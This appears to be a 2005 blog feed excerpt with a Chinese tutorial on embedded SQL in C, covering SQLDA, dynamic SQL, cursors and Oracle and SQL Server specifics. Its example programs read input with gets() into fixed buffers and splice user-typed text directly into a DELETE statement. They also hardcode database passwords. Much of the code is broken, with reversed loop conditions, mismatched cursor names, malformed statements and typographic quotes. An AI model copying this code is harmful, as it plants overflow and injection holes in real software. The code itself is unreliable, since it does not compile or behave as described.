; ) {<BR>exec sql fetch tblcurs into :querycol;<BR>printf(“Include column %s(y/n)?”,querycol);<BR>gets(inbuf);<BR>if(inbuf[0]= ='y'){<BR>/*生成SELECT语句的各个列名*/<BR>if (colcount++&gt;0)<BR>strcat(stmtbuf, ”,”);<BR>strcat(stmtbuf,querycol);<BR>}<BR>}<BR>no_more_column:<BR>exec sql close tblcurs;<BR>/*生成SELECT语句中的FROM部分*/<BR>strcat(stmtbuf,”from”);<BR>strcat(stmtbuf,querytbl);<BR>/*分配SQLDA空间*/<BR>qry_da=(SQLDA *) malloc(sizeof(SQLDA)+colcount * sizeof(SQLVAR));<BR>qry_da -&gt;sqln = colcount;<BR>/*声明动态游标，以便逐行处理*/<BR>exec sql declare qrycurs for querystmt;<BR>/*准备查询语句*/<BR>exec sql prepare querystmt from :stmtbuf;<BR>/*获取SQLDA的描述信息*/<BR>exec sql describe querystmt into qry_da;<BR>/*为存放一列数据的SQLDA申请空间*/<BR>for( I=0; I&lt;colcount; I++){<BR>qry_var=qry_da -&gt;sqlvar + I;<BR>qry_var -&gt; sqldat = malloc(qry_var -&gt;sqllen);<BR>qry_var -&gt; sqlind =malloc(sizeof(short));<BR>}<BR>/*动态OPEN语句，打开动态游标，即指向查询数据集的第一行*/<BR>exec sql open qrycurs;<BR>exec sql whenever not found goto no_more_data;<BR>for( ; ;) {<BR>/*将查询到的一行值放在SQLDA中*/<BR>exec sql fetch sqlcurs using descriptor qry_da;<BR>printf(“/n”);<BR>for(I=0; I&lt;colcount; I++){<BR>qry_var = qry_da -&gt;sqlvar +I;<BR>/*显示列名信息*/<BR>printf(“Column#%d(%s):”,I+1,qry_var -&gt;sqlname);<BR>/*查看该列是否为NULL*/<BR>if(*(qry_var -&gt;sqlind)) !=0{<BR>puts(“is NULL!\n”);<BR>continue;<BR>}<BR>/*按照数据类型，将它显示出来*/<BR>switch(qry_var -&gt; sqltype) {<BR>case 448:<BR>case 449:<BR>/*VARCHAR数据类型，直接显示*/<BR>puts(qry_var -&gt; sqldata) ;<BR>break;<BR>case 496:<BR>case 497:<BR>/*4位整数，转化，并显示出来*/<BR>printf(“%ld”,*((int *) (qry_var-&gt;sqldata)));<BR>break;<BR>case 500:<BR>case 501:<BR>/*2位整数，转化，并显示出来*/<BR>printf(“%d”,*((short *)(qry_var-&gt;sqldata)));<BR>break;<BR>case 480:<BR>case 481:<BR>/*浮点数，转化，并显示出来*/<BR>printf(“%lf”,*((double *)(qry_var-&gt;sqldata)));<BR>break;<BR>}<BR>}<BR>}<BR>no_more_data:<BR>printf(“\nEnd of data.\n”);<BR>for (I=0;I&lt;colcount;I++) {<BR>qry_var=qry_da-&gt;sqlvar+I;<BR>free(qry_var-&gt;sqldata);<BR>free(qry_var-&gt;sqlind);<BR>}<BR>free(qry_da);<BR>close qrycurs;<BR>exit();<BR>}<BR>上面这个例子是典型的动态查询程序。该程序中演示了PREPARE语句和DESCRIBE语句的处理方式，以及为程序中检索到的数据分配空间。要注意程序中如何设置SQLVAR结构中的的各个变量。这个程序也演示了OPEN、FETCH和CLOSE语句在动态查询中的应用。值得注意的是，FETCH语句只使用了SQLDA，不使用主变量。由于程序中预先申请了SQLVAR结构中的SQLDA和SQLIND空间，所以DBMS知道将查询到的数据保存在何处。该程序还考虑了查询数据为NULL的处理。 
<P>例2、用SQLDA规定输入参数。该程序在运行开始时，可以选择要更新的列和值。由于用户能够在每次运行程序时选择不同的列，所以该程序必须用SQLDA把参数传送到EXECUTE语句。这个例子仅供参考，读者只需读懂即可。<BR>Main()<BR>{<BR>#define COLCNT 6<BR>exec sql include sqlca;<BR>exec sql include sqlda;<BR>exec sql begin declare section;<BR>char stmbuf[2001];<BR>exec sql end declare section;<BR>char * malloc()<BR>struct {<BR>char prompt[31]; /*列名的全名*/<BR>char name[31]; /*列名*/<BR>short typecode; /*数据类型代码*/<BR>short buflen; /*数据长度*/<BR>char selected; /*是否更新标志，y为是，n为否*/<BR>}columns[]={“Name”,”NAME”,449,16,'n',<BR>“Office”,”REP_OFFICE”,497,4,'n',<BR>“Manager”,”MANAGER”,497,4,'n',<BR>“Hire Date”,”HIRE_DATE”,449,12,'n',<BR>“Quota”,”QUOTA”,481,8,'n',<BR>“Sales”,”SALES”,481,8,'n'};<BR>struct sqlda *parmda;<BR>struct sqlvar *parmvar;<BR>int parmcnt; /*参数个数*/<BR>int empl_num; /*员工号*/<BR>int I;<BR>int j;<BR>char inbuf[101]; /*用户输入信息*/<BR>/* 询问用户更新哪些列*/<BR>printf(“****Salesperson Update Program*****\n\n”);<BR>parmcnt = 1;<BR>for (I=0;I&lt;COLCNT;I++) {<BR>printf(“Update %s column(y/n)? “,column[I].prompt);<BR>gets(inbuf);<BR>if (inbuf[0]=='y'){<BR>column[I].selected = ‘y';<BR>parmcnt + = 1;<BR>}<BR>}<BR>/*根据要更新的列数，分配SQLDA空间*/<BR>parmda=malloc(16+(44*parmcnt));<BR>strcpy(parmda-&gt;sqldaid,”SQLDA ”);<BR>parmda-&gt;sqldabc=(16+(44*parmcnt));<BR>parmda-&gt;sqln=parmcnt;<BR>/*开始生成更新语句*/<BR>strcpy(stmbuf,”update orders set “);<BR>j=0;<BR>/*处理列名*/<BR>for (I=0;I++;I&lt;COLCNT) {<BR>if (column[I].selected =='n')<BR>continue;<BR>if (parmcnt&gt;0) strcat(stmbuf,', ‘);<BR>strcat(stmbuf,column[I].name);<BR>strcat(stmbuf,”=?”); /*生成动态UPDATE语句*/<BR>/*为sqlvar指定参数的信息，并申请存放新值的空间*/<BR>parmvar=parmda-&gt;sqlvar + j;<BR>parmvar-&gt;sqltype = column[I].typecode;<BR>parmvar-&gt;sqllen = column[I].buflen;<BR>parmvar-&gt;sqldata = malloc(column[I].bufflen);<BR>parmvar-&gt;sqlind=malloc(2);<BR>strcpy(parmvar-&gt;sqlname.data,column[I].prompt);<BR>j+ = 1;<BR>}<BR>/*生成WHERE语句*/<BR>strcat(stmbuf,” where empl_num = ?”);<BR>parmvar=parmda + parmcnt;<BR>parmvar-&gt;sqltype=496;<BR>parmvar-&gt;sqllen=4;<BR>parmvar-&gt;sqldata =&amp;empl_num;<BR>parmvar-&gt;sqlind=0;<BR>parmda-&gt;sqld=parmcnt; 
<P>/*编译动态SQL语句*/<BR>exec sql prepare updatestmt from :stmbuf;<BR>if (sqlca.sqlcode &lt; 0 ) {<BR>printf(“PREPARE error:%ld\n”,sqlca.sqlcode);<BR>exit();<BR>}<BR>/*提示用户输入更新的新值，并将之存放在SQLDA中*/<BR>for ( ; ; ) {<BR>printf(“\nEnter Salesperson's Employee Number: “);<BR>scanf(“%ld”,&amp;empl_num);<BR>if ( empl_num == 0) break;<BR>for (j=0;j&lt;(parmcnt –1 ); J++) {<BR>parmvar=parmda + j;<BR>printf(“Enter new value for %s: “,parmvar-&gt;sqlname.data);<BR>gets(inbuf);<BR>if ( inbuf[0]= = ‘*') {<BR>/*如果用户输入*，表示为NULL值*/<BR>*(parmvar-&gt;sqlind) = -1;<BR>continue;<BR>}<BR>else{<BR>*(parmvar -&gt; sqlind)=0;<BR>switch (parmvar -&gt; sqltype) {<BR>case 481:<BR>sscanf(inbuf,"%lf",parmvar-&gt;sqldata);<BR>break;<BR>case 449:<BR>stccpy(parmvar-&gt;sqldata,inbuf,strlen(inbuf));<BR>parmvar-&gt;sqllen=strlen(inbuf);<BR>break;<BR>case 501:<BR>sscanf(inbuf,"%ld",parmvar-&gt;sqldata);<BR>break;<BR>}<BR>}<BR>}<BR>/*执行动态SQL语句，并经过SQLDA传递参数值*/<BR>exec sql execute updatestmt using :parmda;<BR>if (sqlca.sqlcode) &lt;0 ) {<BR>printf("execute error:%ld\n",sqlca.sqlcode);<BR>exit();<BR>}<BR>}<BR>exec execute immediate "COMMIT WORK";<BR>if (sqlca.sqlcode)<BR>printf("COMMIT error:%ld\n",sqlca.sqlcode);<BR>else<BR>printf("\n All update commited.\n");<BR>exit();<BR>}<BR>在上述例子中，生成的动态UPDATE语句为：<BR>update salesreps<BR>set name =? , office=? , quota=?<BR>Where empl_num=?<BR>该语句规定了4个参数，程序分配了一个处理四个sqlvar结构的SQLDA。用于提供参数值。<BR>6.4.4 DESCRIBE语句<BR>该语句只有动态SQL才有。该语句是在PREPARE语句之后，在OPEN语句之前使用。该语句的作用是，设置SQLDA中的描述信息，如：列名、数据类型和长度等。DESCRIBE语句的语法为：<BR>DESCRIBE 语句名 INTO 描述符名<BR>如：exec sql describe querystmt into qry_da;<BR>在执行DESCRIBE前，用户必须给出SQLDA中的SQLN的值（表示有多少列），该值也说明了SQLDA中有多少个SQLVAR结构。然后，执行DESCRIBE语句，该语句填充每一个SQLVAR结构。每个SQLVAR结构中的相应列为：<BR>lSQLNAME结构：列名放在DATA字段，列的长度放在LENGTH字段。<BR>lSQLTYPE列：给出一个数据类型的整数代码。<BR>lSQLLEN列：给出列的长度。<BR>lSQLDATA列和SQLIND列：不填充。由程序在FETCH语句之前，给出数据缓冲器地址和指示符地址。<BR>6.5 API<BR>编写嵌入SQL程序完成的功能也可以通过DB-Library或ODBC API 的函数调用来完成。下面这个例子是使用DB-Library来连接SQL Server并执行一个简单的查询。类似于第一节中的例1。<BR>#define DBNTWIN32<BR>#include &lt;sqlfront.h&gt;<BR>#include &lt;sqldb.h&gt;<BR>main()<BR>{<BR>DBPROCESS *dbproc;<BR>LOGINREC *login;<BR>RETCODE r;<BR>dbinit();<BR>login = dblogin();<BR>if (login == NULL)<BR>return (1);<BR>DBSETLUSER(login, "sa");<BR>DBSETLPWD(login, "password");<BR>dbproc = dbopen(login, "YANGZH");<BR>dbfreelogin(login);<BR>if (dbproc == NULL)<BR>return (1);<BR>dbuse(dbproc, "pubs");<BR>dbcmd(dbproc,<BR>"select au_fname from authors where au_lname = 'White'");<BR>r = dbsqlexec(dbproc); 
<P>if (r == FAIL)<BR>return (1);<BR>while (1)<BR>{<BR>r = dbresults(dbproc);<BR>if (r == SUCCEED)<BR>{<BR>/* Process the rows with dbnextrow() */<BR>}<BR>if ((r == FAIL) || (r == NO_MORE_RESULTS))<BR>break;<BR>}<BR>return (0);<BR>}<BR>嵌入SQL的程序有一些缺点。各个数据库厂商提出的嵌入SQL语言各不相同。尤其在SQLDA的定义上。另外，Microsoft SQL SERVER的嵌入SQL 的C程序不是线程安全的。如果你在一个线程应用中使用ESQL/C，那么应该仅仅在一个单一线程中调用E/SQL。最好在主线程中使用。所以，在可能的情况下，应该使用API来代替嵌入SQL。<BR></P>]]></description>
</item><item>
<title><![CDATA[ESQL/C资料(完全版)三]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xueflhg&amp;id=7286</link>
<author>xueflhg</author>
<pubDate>2005/7/18 10:34:26</pubDate>
<description><![CDATA[第四节 ORACLE数据库的嵌入SQL语言<BR>4.1 基本的SQL语句<BR>4.1.1宿主变量和指示符<BR>1）、声明方法<BR>同其他数据库管理器一样，ORACLE使用宿主变量传递数据库中的数据和状态信息到应用程序，应用程序也通过宿主变量传递数据到ORACLE数据库。根据上面两种功能，宿主变量分为输出宿主变量和输入宿主变量。在SELECT INTO和FETCH语句之后的宿主变量称作“输出宿主变量”，这是因为从数据库传递列数据到应用程序。除了SELECT INTO和FETCH语句外的其他SQL语句中的宿主变量，称为“输入宿主变量”。这是因为从应用程序向数据库输入值。如：INSERT、UPDATE等语句。请看下面这个例子：<BR>int emp_number; <BR>char temp[20];<BR>VARCHAR emp_name[20]; <BR>/* get values for input host variables */ <BR>printf("Employee number? "); <BR>gets(temp);<BR>emp_number = atoi(temp);<BR>printf("Employee name? "); <BR>gets(emp_name.arr); <BR>emp_name.len = strlen(emp_name.arr); <BR>EXEC SQL INSERT INTO EMP (EMPNO, ENAME) <BR>VALUES (:emp_number, :emp_name); <BR>在上面这个例子中，其中的emp_number和emp_name就是宿主变量。值得注意的是，它同其他数据库的区别是，定义宿主变量可以不需要BEGIN DECLARE SECTION和END DECLARE SECTION。<BR>2）、指示符变量<BR>大多数程序设计语言（如C）都不支持NULL。所以对NULL的处理，一定要在SQL中完成。我们可以使用主机指示符变量来解决这个问题。在嵌入式SQL语句中，主变量和指示符变量共同规定一个单独的SQL类型值。指示符变量是一个2字节的整数。<BR>针对输入宿主变量和输出宿主变量，指示变量共有下面几种情况：<BR>同输入宿主变量一起使用时：<BR>-1 Oracle将null赋值给列，即宿主变量应该假设为NULL。 <BR>&gt;=0 Oracle将宿主变量的实际值赋值给列。<BR>同输出宿主变量一起使用时：<BR>-1 表示该列的输出值为NULL。 <BR>0 Oracle已经将列的值赋给了宿主变量。列值未做截断。 <BR>&gt;0 Oracle将列的值截断，并赋给了宿主变量。指示变量中存放了这个列的实际长度。 <BR>-2 Oracle将列的值截断，并赋给了宿主变量。但是这个列的实际长度不能确定。 <BR>从数据库中查询数据时，可以使用指示符变量来测试NULL：<BR>EXEC SQL SELECT ename, sal <BR>INTO :emp_name, :salary <BR>FROM emp <BR>WHERE :commission INDICATOR :ind_comm IS NULL ... <BR>注意，不能使用关系操作符来比较NULL，这是因为NULL和任何操作都为false。如：<BR>EXEC SQL SELECT ename, sal <BR>INTO :emp_name, :salary <BR>FROM emp <BR>WHERE comm = :commission<BR>如果comm列的某些行存在NULL，则该SELECT语句不能返回正确的结果。应该使用下面这个语句完成：<BR>EXEC SQL SELECT ename, sal <BR>INTO :emp_name, :salary <BR>FROM emp <BR>WHERE (comm = :commission) OR ((comm IS NULL) AND <BR>(:commission INDICATOR :ind_comm IS NULL));<BR>4.1.2 查询<BR>如果是单行查询，则应该使用SELECT INTO语句。如果是多行查询，应该使用游标或宿主变量数组。如：单行查询的一个例子：<BR>EXEC SQL SELECT ename, job, sal + 2000 <BR>INTO :emp_name, :job_title, :salary <BR>FROM emp <BR>WHERE empno = :emp_number; <BR>在嵌入SQL语句中，也可以使用子查询。如：<BR>EXEC SQL INSERT INTO emp2 (empno, ename, sal, deptno) <BR>SELECT empno, ename, sal, deptno FROM emp <BR>WHERE job = :job_title; <BR>4.1.3 修改数据<BR>1）、插入数据<BR>使用INSERT语句插入数据。其语法同ANSI SQL语法类似。如：<BR>EXEC SQL INSERT INTO emp (empno, ename, sal, deptno) <BR>VALUES (:emp_number, :emp_name, :salary, :dept_number); <BR>2）、更新数据<BR>使用UPDATE语句更新数据。其语法同ANSI SQL语法类似。如：<BR>EXEC SQL UPDATE emp <BR>SET sal = :salary, comm = :commission <BR>WHERE empno = :emp_number; <BR>3）、删除数据<BR>使用DELETE语句删除数据。其语法同ANSI SQL语法类似。如：<BR>EXEC SQL DELETE FROM emp <BR>WHERE deptno = :dept_number; <BR>4.1.4 游标<BR>用嵌入式SQL语句查询数据分成两类情况。一类是单行结果，一类是多行结果。对于单行结果，可以使用SELECT INTO语句；对于多行结果，你必须使用游标来完成。游标是一个与SELECT语句相关联的符号名，它使用户可逐行访问由ORACLE返回的结果集。使用游标，应该包含以下四个步骤。<BR>1）、定义游标<BR>使用DECLARE语句完成。如：<BR>EXEC SQL DECLARE emp_cursor CURSOR FOR <BR>SELECT ename FROM emp WHERE deptno = :dept_number;<BR>值得注意的是，不能在同一个文件中定义两个相同名字的游标。游标的作用范围是全局的。<BR>2）、打开游标<BR>使用OPEN语句完成。如：<BR>EXEC SQL OPEN emp_cursor; <BR>3）、取一行值<BR>使用FETCH语句完成。如：<BR>EXEC SQL FETCH emp_cursor INTO :emp_name;<BR>4）、关闭游标<BR>使用CLOSE语句完成。它完成的功能是：释放资源，如占用内存，锁等。如：EXEC SQL CLOSE emp_cursor; <BR>5）、使用游标修改数据<BR>我们可以使用CURRENT OF子句来完成修改数据。如：<BR>EXEC SQL DECLARE emp_cursor CURSOR FOR <BR>SELECT ename, sal FROM emp WHERE job = 'CLERK' <BR>FOR UPDATE OF sal; <BR>... <BR>EXEC SQL OPEN emp_cursor; <BR>EXEC SQL WHENEVER NOT FOUND GOTO ... <BR>for (;;) {<BR>EXEC SQL FETCH emp_cursor INTO :emp_name, :salary; <BR>... <BR>EXEC SQL UPDATE emp SET sal = :new_salary <BR>WHERE CURRENT OF emp_cursor; <BR>} <BR>值得注意的是，在使用CURRENT OF子句来完成修改数据时，在OPEN时会对数据加上排它锁。这个锁直到有COMMIT或ROLLBACK语句时才释放。<BR>以下是使用游标修改数据的一个完整例子：<BR>...<BR>/* 定义游标 */ <BR>EXEC SQL DECLARE emp_cursor CURSOR FOR <BR>SELECT ename, job <BR>FROM emp <BR>WHERE empno = :emp_number <BR>FOR UPDATE OF job; <BR>/* 打开游标 */ <BR>EXEC SQL OPEN emp_cursor; <BR>/* break if the last row was already fetched */ <BR>EXEC SQL WHENEVER NOT FOUND DO break; <BR>/* 循环取值*/ <BR>for (;;) <BR>{ <BR>EXEC SQL FETCH emp_cursor INTO :emp_name, :job_title; <BR>/* 更新当前游标所在的行的数据*/ <BR>EXEC SQL UPDATE emp <BR>SET job = :new_job_title <BR>WHERE CURRENT OF emp_cursor; <BR>} <BR>... <BR>/* 关闭游标 */ <BR>EXEC SQL CLOSE emp_cursor; <BR>EXEC SQL COMMIT WORK RELEASE; <BR>... 
<P>下面这个例子完整演示了静态游标的使用方法。这个例子的作用是，获得部门编号，通过游标来显示这个部门中的所有雇员信息。 
<P>#include &lt;stdio.h&gt; <BR>/* 声明宿主变量 */ <BR>char userid[12] = "SCOTT/TIGER";<BR>char emp_name[10];<BR>int emp_number;<BR>int dept_number; <BR>char temp[32];<BR>void sql_error();<BR>/*包含SQLCA */ <BR>#include &lt;sqlca.h&gt; <BR>main() <BR>{ emp_number = 7499;<BR>/* 处理错误*/ <BR>EXEC SQL WHENEVER SQLERROR do sql_error("Oracle error");<BR>/* 连接到Oracle数据库*/ <BR>EXEC SQL CONNECT :userid; <BR>printf("Connected.\n"); <BR>/* 声明游标 */ <BR>EXEC SQL DECLARE emp_cursor CURSOR FOR <BR>SELECT ename FROM emp WHERE deptno = :dept_number; <BR>printf("Department number? "); <BR>gets(temp);<BR>dept_number = atoi(temp); <BR>/* 打开游标*/ <BR>EXEC SQL OPEN emp_cursor; <BR>printf("Employee Name\n"); <BR>printf("-------------\n");<BR>/* 循环处理每一行数据，如果无数据，则退出*/<BR>EXEC SQL WHENEVER NOT FOUND DO break;<BR>while (1) <BR>{ <BR>EXEC SQL FETCH emp_cursor INTO :emp_name; <BR>printf("%s\n", emp_name); <BR>} <BR>EXEC SQL CLOSE emp_cursor; <BR>EXEC SQL COMMIT WORK RELEASE; <BR>exit(0); <BR>}<BR>/错误处理程序*/<BR>void sql_error(msg)<BR>char *msg;<BR>{<BR>char buf[500];<BR>int buflen, msglen;<BR>EXEC SQL WHENEVER SQLERROR CONTINUE; <BR>EXEC SQL ROLLBACK WORK RELEASE; <BR>buflen = sizeof (buf);<BR>sqlglm(buf, &amp;buflen, &amp;msglen);<BR>printf("%s\n", msg); <BR>printf("%*.s\n", msglen, buf); <BR>exit(1); <BR>}<BR>4.2 嵌入PL/SQL<BR>嵌入PL/SQL和嵌入SQL不同。嵌入PL/SQL提供了很多嵌入SQL不具有的优点，如：更好的性能、更灵活的表达方式。能够自己定义过程和函数。如：<BR>PROCEDURE create_dept <BR>(new_dname IN CHAR(14), <BR>new_loc IN CHAR(13), <BR>new_deptno OUT NUMBER(2)) IS <BR>BEGIN <BR>SELECT deptno_seq.NEXTVAL INTO new_deptno FROM dual; <BR>INSERT INTO dept VALUES (new_deptno, new_dname, new_loc); <BR>END create_dept; <BR>其中的IN/OUT，表示参数模式。IN是传递参数值到过程，而OUT是从过程传递参数值到调用者。<BR>但是，如果使用这些扩展的功能，也会造成同其他数据库厂商的嵌入SQL的不兼容。<BR>4.3 动态SQL语句<BR>4.3.1 ORACLE动态SQL语句的一些特点<BR>ORACLE DBMS进入市场的时间早于DB2，其动态SQL支持是以IBM的system/R原型为基础的。因此，ORACLE支持的动态SQL与IBM的DB2标准有不同。虽然ORACLE和DB2在很大程度上是兼容的，但是在使用参数标志、SQLDA格式及支持数据类型转换等方面都有差异。<BR>DB2中不允许在PREPARE的动态语句中引用宿主变量，而是用问号来标志语句中的参数，然后用EXECUTE或OPEN语句来规定参数值。ORACLE允许用户用宿主变量规定动态语句中的参数。<BR>而且，ORACLE支持的DESCRIBE语句同DB2有一些区别。如：<BR>从已经PREPARE后的动态查询语句中获得对查询结果列的信息的语句为：<BR>EXEC SQL DESCRIBE SELECT LIST FOR qrystmt INTO qry_sqlda;<BR>等价于DB2的：<BR>EXEC SQL DESCRIBE qrystmt INTO qry_sqlda;<BR>从已经PREPARE后的动态查询语句中获得对查询参数的说明的语句为：<BR>EXEC SQL DESCRIBE BIND LIST FOR qrystmt INTO qry_sqlda;<BR>该ORACLE语句没有对应的DB2语句。用户只能按照当前需要的参数和SQLDA的结构对SQLDA赋值。然后再在OPEN语句或EXECUTE语句中使用SQLDA结构。<BR>4.3.2 使用动态SQL的四种方法<BR>使用动态SQL，共分成四种方法： 
<P>方法 支持的SQL语句 
<P>1 该语句不包含宿主变量，该语句不是查询语句<BR>2 该语句包含输入宿主变量 ，该语句不是查询语句<BR>3 包含已知数目的输入宿主变量或列的查询 <BR>4 包含未知数目的输入宿主变量或列的查询 <BR>l方法1：使用EXECUTE IMMEDIATE命令实现，具体语法为：<BR>EXEC SQL EXECUTE IMMEDIATE { :host_string | string_literal };<BR>其中，host_variable和string是存放完整T-SQL语句。<BR>请看下面这个例子。这个例子的作用是执行用户随意输入的合法的SQL语句。<BR>char dyn_stmt[132]; <BR>... <BR>for (;;) <BR>{ <BR>printf("Enter SQL statement: "); <BR>gets(dyn_stmt); <BR>if (*dyn_stmt == '\0') <BR>break; <BR>/* dyn_stmt now contains the text of a SQL statement */ <BR>EXEC SQL EXECUTE IMMEDIATE :dyn_stmt; <BR>} <BR>... <BR>EXECUTE IMMEDIATE命令的作用是：分析该语句的语法，然后执行该语句。方法1适合于仅仅执行一次的语句。<BR>l方法2：方法支持的语句可以包含输入宿主变量。这个语句首先做PREPARE操作，然后通过EXECUTE执行。PREPARE语句的语法为：<BR>EXEC SQL PREPARE statement_name FROM { :host_string | string_literal };<BR>该语句接收含有SQL语句串的宿主变量，并把该语句送到ORACLE。ORACLE编译语句并生成执行计划。在语句串中包含一个“？”表明参数，当执行语句时，ORACLE需要参数来替代这些“？”。PREPRARE执行的结果是，DBMS用语句名标志准备后的语句。在执行SQL语句时，EXECUTE语句后面是这个语句名。EXECUTE语句的语法为：<BR>EXECUTE 语句名 USING 宿主变量 | DESCRIPTOR 描述符名<BR>它的作用是，请求ORACLE执行PREPARE语句准备好的语句。当要执行的动态语句中包含一个或多个参数标志时，在EXECUTE语句必须为每一个参数提供值。这样的话，EXECUTE语句用宿主变量值逐一代替准备语句中的参数标志（“？”或其他占位符），从而，为动态执行语句提供了输入值。<BR>使用主变量提供值，USING子句中的主变量数必须同动态语句中的参数标志数一致，而且每一个主变量的数据类型必须同相应参数所需的数据类型相一致。各主变量也可以有一个伴随主变量的指示符变量。当处理EXECUTE语句时，如果指示符变量包含一个负值，就把NULL值赋予相应的参数标志。除了使用主变量为参数提供值，也可以通过SQLDA提供值。<BR>请看下面这个例子。这个例子的作用是删除用户指定的雇员信息。<BR>... <BR>int emp_number INTEGER; <BR>char delete_stmt[120], search_cond[40];; <BR>... <BR>strcpy(delete_stmt, "DELETE FROM EMP WHERE EMPNO = :n AND "); <BR>printf("Complete the following statement's search condition--\n"); <BR>printf("%s\n", delete_stmt); <BR>gets(search_cond); <BR>strcat(delete_stmt, search_cond); <BR><BR>EXEC SQL PREPARE sql_stmt FROM :delete_stmt; <BR>for (;;) <BR>{ 
<P>printf("Enter employee number: "); <BR>gets(temp);<BR>emp_number = atoi(temp); <BR>if (emp_number == 0) <BR>break; <BR>EXEC SQL EXECUTE sql_stmt USING :emp_number; <BR>} <BR>l方法三：是指查询的列数或输入宿主变量数在预编译时已经确定，但是数据库中的对象，如表、列名等信息未确定。这些对象名不能是宿主变量。这时，必须通过以下语句来完成：<BR>PREPARE statement_name FROM { :host_string | string_literal }; <BR>DECLARE cursor_name CURSOR FOR statement_name; <BR>OPEN cursor_name [USING host_variable_list]; <BR>FETCH cursor_name INTO host_variable_list; <BR>CLOSE cursor_name; <BR>如：下面这个例子演示用方法3完成动态查询：<BR>char select_stmt[132] =<BR>"SELECT MGR, JOB FROM EMP WHERE SAL &lt; :salary"; <BR>EXEC SQL PREPARE sql_stmt FROM :select_stmt; <BR>EXEC SQL DECLARE emp_cursor CURSOR FOR sql_stmt; <BR>EXEC SQL OPEN emp_cursor USING :salary; <BR>EXEC SQL FETCH emp_cursor INTO :mgr_number, :job_title; <BR>EXEC SQL CLOSE emp_cursor; <BR>l方法四：在预编译时，查询的列数或者宿主变量的个数不能确定，因为不知道具体的返回个数，所以不能使用输出宿主变量。这是因为你不知道应该定义多少个宿主变量。这时，就需要SQLDA结构和DESCRIBE命令。SQLDA包含了动态查询的列描述信息。对于输入宿主变量，也可以使用SQLDA来完成不确定的参数说明。要完成方法四，必须通过以下语句来完成：<BR>EXEC SQL PREPARE statement_name FROM { :host_string | string_literal }; <BR>EXEC SQL DECLARE cursor_name CURSOR FOR statement_name; <BR>EXEC SQL DESCRIBE BIND VARIABLES FOR statement_name <BR>INTO bind_descriptor_name; <BR>EXEC SQL OPEN cursor_name <BR>[USING DESCRIPTOR bind_descriptor_name]; <BR>EXEC SQL DESCRIBE [SELECT LIST FOR] statement_name <BR>INTO select_descriptor_name; <BR>EXEC SQL FETCH cursor_name USING DESCRIPTOR select_descriptor_name; <BR>EXEC SQL CLOSE cursor_name; <BR>在上述语句中，DESCRIBE SELECT LIST的作用是将PREPARE后的动态查询语句的列名、数据类型、长度等信息保存在SQLDA中。DESCRIBE BIND VARIABLES的作用是，检查PREPARE后的动态查询语句的每个占位符的名字、数据类型、长度等信息。并将它存放在SQLDA中，然后，使用SQLDA提示用户数据参数值。<BR>值得注意的是，方法之间可以混合使用。如：在一个查询中，列的个数确定，但是查询中的占位符不确定，这时，你可以结合方法3和方法4，即使用方法3的FETCH语句和方法4的OPEN语句，如：EXEC SQL FETCH emp_cursor INTO host_variable_list; 反之，如果查询中占位符的个数确定，而列数不确定，则你可以使用方法3的OPEN语句，如：EXEC SQL OPEN cursor_name [USING host_variable_list]; <BR>这里，我们讲解的是嵌入SQL，对于嵌入PL/SQL，有一些区别。简单来说，主要有两点：<BR>l预编译器将PL/SQL块中的所有宿主变量都作为输入宿主变量。<BR>l不能对PL/SQL块使用FETCH命令。<BR>l占位符不用声明，可以是任何名字。如：<BR>INSERT INTO emp (empno, deptno) VALUES (:e, :d) <BR>DELETE FROM dept WHERE deptno = :num OR loc = :loc <BR>其中的e、d、num和loc就是占位符。<BR>4.3.3 SQLDA<BR>SQLDA存放了输出数据的信息，或存放了输入数据的信息。可以使用SQLSQLDAAlloc(runtime_context, size, name_length, ind_name_length)来分配空间。<BR>SQLDA结构的定义存放在sqlda.h文件中。它的内容为：<BR>struct SQLDA <BR>{ <BR>long N; /* Descriptor size in number of entries */ <BR>char **V; /*Ptr to Arr of addresses of main variables */ <BR>long *L; /* Ptr to Arr of lengths of buffers */ <BR>short *T; /* Ptr to Arr of types of buffers */ <BR>short **I; /* Ptr to Arr of addresses of indicator vars */ <BR>long F; /* Number of variables found by DESCRIBE */ <BR>char **S; /* Ptr to Arr of variable name pointers */ <BR>short *M; /* Ptr to Arr of max lengths of var. names */ <BR>short *C; /* Ptr to Arr of current lengths of var. names */ <BR>char **X; /* Ptr to Arr of ind. var. name pointers */ <BR>short *Y; /* Ptr to Arr of max lengths of ind. var. names */ <BR>short *Z; /* Ptr to Arr of cur lengths of ind. var. names */ <BR>}; <BR>其中，上述变量的含义为：<BR>lN：可以容纳的列的最大数目或参数的最大数目。它对应于DB2的SQLDA的SQLN字段。<BR>lF：当前SQLDA中的实际列数或参数个数。它对应于DB2的SQLDA的SQLD字段。<BR>lT：指明数据类型。它对应于DB2的SQLVAR结构中的SQLTYPE字段。 
<P>lV：指向字符数组。该字符数组可能是列的数据，或传送参数的数据。它对应于DB2的SQLVAR结构中的SQLDATA字段。<BR>lL：给出列或参数值的长度。它对应于DB2的SQLVAR结构中的SQLLEN字段。<BR>lI：指向指示符变量，标志数据是否为NULL。它对应于DB2的SQLVAR结构中的SQLIND字段。<BR>lS：指向存放列名或参数名的字符数组。它对应于DB2的SQLVAR结构中的SQLNAME结构的data[]。<BR>lM：指向一个整数，该整数是S的申请长度。在DB2中，SQLVAR结构中的SQLNAME结构的data[30]的大小是固定的，即是30。而ORACLE中是可变的。其大小为M指向的整数。<BR>lC：指向一个整数，该整数是S的实际长度。它对应于DB2的SQLVAR结构中的SQLNAME结构的 length。<BR>lX：指向一个字符数组。该字符数组存放了指示符变量的名称，指示符变量表示传递的参数是否为NULL。DB2中无相应的对应字段。这个缓冲区仅仅供DESCRIBE BIND LIST语句使用。<BR>lY：指向一个整数，该整数是X的申请的最大长度。DB2中无相应的对应字段。<BR>lZ：指向一个整数，该整数是X的实际长度。DB2中无相应的对应字段。<BR>ORACLE的数据类型分成两种情况：内部数据类型和外部数据类型。ORACLE的内部数据类型是ORACLE在数据库中存放数据的类型，在使用DESCRIBE SELECT LIST命令，就返回内部数据类型代码。下表是所有的内部数据类型： 
<P>Oracle 内部数据类型 代码 
<P>VARCHAR2 1 <BR>NUMBER 2 <BR>LONG 8 <BR>ROWID 11 <BR>DATE 12 <BR>RAW 23 <BR>LONG RAW 24 <BR>CHARACTER (or CHAR) 96 <BR>MLSLABEL 106 
<P>外部数据类型是输入宿主变量和输出宿主变量存放数据的类型。DESCRIBE BIND VARIABLES命令将SQLDA中的数据类型代码置为0。所以，必须在OPEN语句前设置外部数据类型代码，以告诉ORACLE是什么外部数据类型。下表是具体的外部数据类型： 
